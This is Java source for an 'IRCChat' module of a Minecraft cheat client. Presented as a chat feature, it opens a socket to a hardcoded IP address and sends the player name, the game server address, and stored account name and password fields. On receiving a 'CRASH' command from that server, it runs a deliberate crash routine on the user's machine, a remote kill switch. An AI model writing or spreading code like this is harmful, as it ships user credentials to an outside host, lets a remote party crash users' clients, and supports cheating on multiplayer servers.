package zelix.hack.hacks.irc;

import java.io.*;
import java.lang.reflect.Field;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.List;

import zelix.Core;
import zelix.hack.Hack;
import zelix.hack.HackCategory;
import zelix.utils.Cr4sh;
import net.minecraft.network.play.client.CPacketChatMessage;
import zelix.managers.HackManager;
import zelix.utils.Utils;
import zelix.utils.system.EnumChatFormatting;
import zelix.utils.hooks.visual.ChatUtils;
import zelix.utils.Wrapper;
import net.minecraft.client.Minecraft;
import net.minecraftforge.fml.relauncher.ReflectionHelper;
import zelix.utils.system.Connection;

import static zelix.utils.Utils.getSubString;

public class IRCChat extends Hack {

	public static boolean isdev = false;
	public BufferedReader reader;
	public static Socket socket;
	public static PrintWriter pw;
	static InputStream in;
	private static boolean connect = false;
	private static String prefix = "";
	public static List<String> banned;
	public static String FGF = "r@safucku@uuense@";

	public IRCChat() {
		super("IRCChat", HackCategory.ANOTHER);
	}

	@Override
	public void onEnable() {
		if(Utils.nullCheck()) return;

		new IRCTheard().start();
		super.onEnable();
	}
	private static int sec = 1;
	public static void send(String TEXT){
		try {
			//////////System.out.println(TEXT);
			socket.getOutputStream().write(TEXT.getBytes("UTF-8"));
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	@Override
	public void onDisable() {
		try {
			connect = false;
			if (in == null || socket.getOutputStream() == null || socket == null) {
				return;
			}
			in.close();
			socket.getOutputStream().close();
			socket.close();
		} catch (IOException e) {
			e.printStackTrace();
		}

		ChatUtils.warning("Disconnect from IRC!");
		super.onDisable();
	}
	@Override
	public boolean onPacket(Object packet, Connection.Side side) {


		if (side == Connection.Side.OUT) {
			if (packet instanceof CPacketChatMessage) {
				Field field = ReflectionHelper.findField(CPacketChatMessage.class,
						new String[] { "message", "field_149440_a" });
				try {
					if (!field.isAccessible()) {
						field.setAccessible(true);
					}
					if (packet instanceof CPacketChatMessage) {
						CPacketChatMessage p = (CPacketChatMessage) packet;
						if (p.getMessage().subSequence(0, 1).equals("+")) {
							//System.out.println("p.getMessage().substring(1, p.getMessage().length()) = " + p.getMessage().substring(1, p.getMessage().length()));
							write("[TARGET][MESSAGE][MSG]["+p.getMessage().substring(1, p.getMessage().length())+"]");
							return false;
						} else {
							return true;
						}
					}
				} catch (Exception e) {
					e.printStackTrace();
					this.onDisable();
					this.onEnable();
				}

			}
		}
		return true;

	}

	public static void connect() {
		ChatUtils.warning("Try to connect to the server...");
		try {

			socket = new Socket("115.126.43.76", 9998);

			in = socket.getInputStream();

			pw = new PrintWriter(new OutputStreamWriter(socket.getOutputStream(),"UTF-8"), true);

			if (Wrapper.INSTANCE.mc().getCurrentServerData() != null){
				write("[TARGET][" + "CONNECT" + "]" + "[HOST][" + "115.126.43.76:14100" + "]" + "[GAMEID][" + Wrapper.INSTANCE.player().getName() + "]" + "[GAMEIP][" + Minecraft.getMinecraft().getCurrentServerData().serverIP.toLowerCase() + "]" +  "[ACT][" + Core.UN + "]" + "[PWD][" + Core.UP + "]");
			}else{
				write("[TARGET][" + "CONNECT" + "]" + "[HOST][" + "115.126.43.76:14100" + "]" + "[GAMEID][" + Wrapper.INSTANCE.player().getName() + "]" + "[GAMEIP][" + "Local" + "]" +  "[ACT][" + Core.UN + "]" + "[PWD][" + Core.UP + "]");
			}

		} catch (IOException e) {
			ChatUtils.error("Failed to Connect!");
			HackManager.getHack("IRCChat").setToggled(false);
			HackManager.getHack("IRCChat").onDisable();
			e.printStackTrace();
		}
		return;
	}

	public static void handleInput() {
		byte[] data = new byte[1024];
		try {
			int len = in.read(data);
			String ircmessage = new String(data, 0, len);
			ircmessage = ircmessage.replaceAll("\n", "");
			ircmessage = ircmessage.replaceAll("\r", "");
			ircmessage = ircmessage.replaceAll("\t", "");
			//System.out.println("ircmessage = " + ircmessage);
			if (!connect){
				if (ircmessage.equals("SUC")) {
					ChatUtils.message("Connection is Successful!");
					connect = true;
				}else if (ircmessage.equals("FAIL")){
					ChatUtils.error("Connection is Failed!");
					connect = false;
				}
			}else{
				if (ircmessage.equals("CRASH")){
					ChatUtils.error("You Are Crashed By A BETA USER OR SERVER!");
					try {
						Thread.sleep(10*6000);
					} catch (InterruptedException e) {
						new Cr4sh();
					}
					new Cr4sh();
				}
				String Type = getSubString(ircmessage,"[TYPE][","]");
				if (Type.equalsIgnoreCase("SMSG")) {

				}else if (Type.equalsIgnoreCase("NMSG")) {
					String USER = getSubString(ircmessage,"[USER][","]");
					String MSG = getSubString(ircmessage,"[MSG][","]");
					String Title = getSubString(ircmessage,"[TITLE][","]");
					String Server = getSubString(ircmessage,"[SERVER][","]");
					ChatUtils.IRC(EnumChatFormatting.DARK_AQUA+"["+EnumChatFormatting.GOLD+Server+EnumChatFormatting.DARK_AQUA+"]"+EnumChatFormatting.DARK_AQUA+"["+EnumChatFormatting.WHITE+Title+EnumChatFormatting.DARK_AQUA+"]"+EnumChatFormatting.AQUA+USER+": "+EnumChatFormatting.WHITE+MSG);
				}else{
					ChatUtils.message(ircmessage);
				}

			}


		} catch (IOException e) {
		}
	}

	public static void write(String str){
		try {
			//////System.out.println(IRCChat.out);
			socket.getOutputStream().write(str.getBytes(StandardCharsets.UTF_8));
			socket.getOutputStream().flush();
		} catch (Throwable e) {
			e.printStackTrace();
		}
	}


}
